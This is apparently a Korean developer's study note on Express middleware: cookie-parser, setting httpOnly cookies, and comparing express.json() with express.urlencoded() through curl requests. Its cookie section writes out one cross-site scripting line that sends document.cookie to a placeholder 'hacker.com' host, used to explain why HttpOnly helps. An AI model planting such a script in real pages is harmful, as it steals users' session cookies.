Express middlewares

Cookie-parser

요청된 쿠키를 쉽게 추출할 수 있도록 해주는 미들웨어

 

cookie값 읽어들이기

cookie-parser 등록

// app에서 cookieParser를 사용하겠다!
app.use(cookieParser());

app.get('/', function(req, res) {
	// cookieParser를 통해 쉽게 cookie값을 추출 할 수 있다.
	console.log('Cookies: ', req.cookies); 
})

쿠키를 담아 요청 보내기

curl http://127.0.0.1:8080 --cookie "foo=bar;bar=baz"

 

출력된 cookie

Cookies: { foo: 'bar', bar: 'baz' }

 

브라우저에 쿠키 생성하기

res.cookie('key', 'value', { path:'/', httpOnly: true, maxAge: 60*60*1000 });

• maxAge는 생성한 쿠키가 자동으로 삭제 될 시점을 의미합니다. 밀리세컨 단위로 설정 가능합니다.
• httpOnly: true는 CSS공격을 막기 위한 방법입니다. (하단 '추가 정보'섹션 참고)

쿠키를 생성하면 client에서 요청 시 브라우저에서 자동으로 cookie값을 담아서 보내줍니다!!!

CSS(Cross Site Scripting)과 HttpOnly cookie

javascript에서 쿠키를 조회할 수 있는 특성을 악용한 해킹 공격입니다.

location.href = 'http://hacker.com/?cookies=' + document.cookie;

해당 script가 작성되어있는 사이트에 접속할 경우, 사용자도 모르는 사이에 자신의 쿠키값을 해커에게 전송합니다. 이 취약점을 해결하기 위한 방법이 HttpOnly cookie를 사용하는 것입니다. httyOnly cookie를 설정하면 browser에서 해당 쿠키에 접근할 수 없게 되어 CSS 취약점을 해결 할 수 있습니다.

 

---

express.json() vs express.urlencoded()

공통점

json과 urlencoded모두 bodyParser의 한 부분이다(part of bodyParser).

요청 데이터를 파싱하여 request.body에 넣어줌으로써 별도의 파싱과정 없이 편하게 request body를 사용할 수 있다.

차이점

express.json()

Returns middleware that only parses json and only looks at requests where the Content-Type header matches the type option.

[출처]: https://github.com/expressjs/body-parser#bodyparserjsonoptions

json만을 파싱하며, 오로지 Content-type header가 지정한 type option과 동일할 때만 동작한다.
default type은 application/json이다.

 

express.urlencoded()

Returns middleware that only parses urlencoded bodies and only looks at requests where the Content-Type header matches the type option.

[출처]: https://github.com/expressjs/body-parser#bodyparserjsonoptions

urlencoded bodies만을 파싱하며, 오로지 Content-type header가 지정한 type option과 동일할 때만 동작한다.
default type은 application/x-www-form-urlencoded이다.

urlencoded bodies란 문자열, 배열 등을 지칭한다.

curl을 통한 직접 비교

요청 정의

1. json type 요청 curl (이하 json curl)

curl -X GET \
	-H "Content-type: application/json" \ 
	-H "Accept: application/json" \
	-d '{"body":"foo"}' \
	"http://127.0.0.1:8080"

2. urlencoded type 요청 curl (이하 urlencoded curl)

curl -X GET \ 
	-H "Content-type: application/x-www-form-urlencoded" 
	-d "shop=Supermarket \
	&shop=fruit \ 
	&shop=eggs \
	&auth_token=a1b2c3d4" \ 
	"http://127.0.0.1:8080" 

 

응답 비교

1. without json, urlencoded middleware json curl 요청 결과

// console.log(request.body)
undefined

// console.log(request.headers)
{	
	host: '127.0.0.1:8080',
	user-agent: 'curl/7.64.1',
	content-type: 'application/json', 
	accept: 'application/json', 
	content-length: '14'
}

request.body에서 아무런 값도 얻을 수 없었다. bodyParser를 사용하지 않는다면, 직접 파싱을 통해 값을 얻어 주어야 한다.

 

app.js - request body 파싱

app.use(function (req, res, next) {	
	let data = ""; 
	req.on("data", function (chunk) { data += chunk; });
	req.on("end", function () { 
		console.log(data); 
		req.rawBody = data;
		req.body = JSON.parse(data); 
		next(); 
	});
});

body 파싱 이후 json curl요청 결과

// console.log(request.body)
{ body: 'foo' }

// console.log(request.headers)
{
  host: '127.0.0.1:8080',
  'user-agent': 'curl/7.64.1',
  'content-type': 'application/json',
  accept: 'application/json',
  'content-length': '14'
}

data를 받는 event를 등록함으로써 json형식의 body param(application/json) 한정 bodyParser를 사용하지 않고도 원하는 결과를 얻을 수 있다.

urlencoded curl요청 결과는 JSON.parse에서 오류를 뱉는다... 추가적인 코딩이 필요해 보인다.

 

2. with only json middleware

app.js

app.use(express.json());

json curl요청 결과

// console.log(request.body)
{ body: 'foo' }

// console.log(request.headers)
{
  host: '127.0.0.1:8080',
  'user-agent': 'curl/7.64.1',
  'content-type': 'application/json',
  accept: 'application/json',
  'content-length': '14'
}

 

3. with only urlencoded middleware

app.js

app.use(express.urlencoded({extended: true}));

extended는 중첩된 객체표현을 허용할지에 대한 여부를 결정하는 옵션이다.

urlencoded curl요청 결과

// console.log(request.body)
{
  shop: [ 'Supermarket   ', 'fruit   ', 'eggs   ' ],
  auth_token: 'a1b2c3d4'
}

// console.log(request.headers)
{
  host: '127.0.0.1:8080',
  'user-agent': 'curl/7.64.1',
  accept: '*/*',
  'content-type': 'application/x-www-form-urlencoded',
  'content-length': '66'
}

body를 통해 urlencoded body 값을 읽을 수 있었다. express.json()과는 반대로 json curl에 대하여 {}를 반환한다.

 

4. with json & urlencoded middleware

app.js

app.use(express.json());
app.use(express.urlencoded({extended: true}));

json curl요청 결과

// console.log(request.body)
{ body: 'foo' }

// console.log(request.headers)
{
  host: '127.0.0.1:8080',
  'user-agent': 'curl/7.64.1',
  'content-type': 'application/json',
  accept: 'application/json',
  'content-length': '14'
}

urlencoded curl요청 결과

// console.log(request.body)
{
  shop: [ 'Supermarket   ', 'fruit   ', 'eggs   ' ],
  auth_token: 'a1b2c3d4'
}

// console.log(request.headers)
{
  host: '127.0.0.1:8080',
  'user-agent': 'curl/7.64.1',
  accept: '*/*',
  'content-type': 'application/x-www-form-urlencoded',
  'content-length': '66'
}

json과 urlencoded 모두 원하는 결과를 얻을 수 있었다.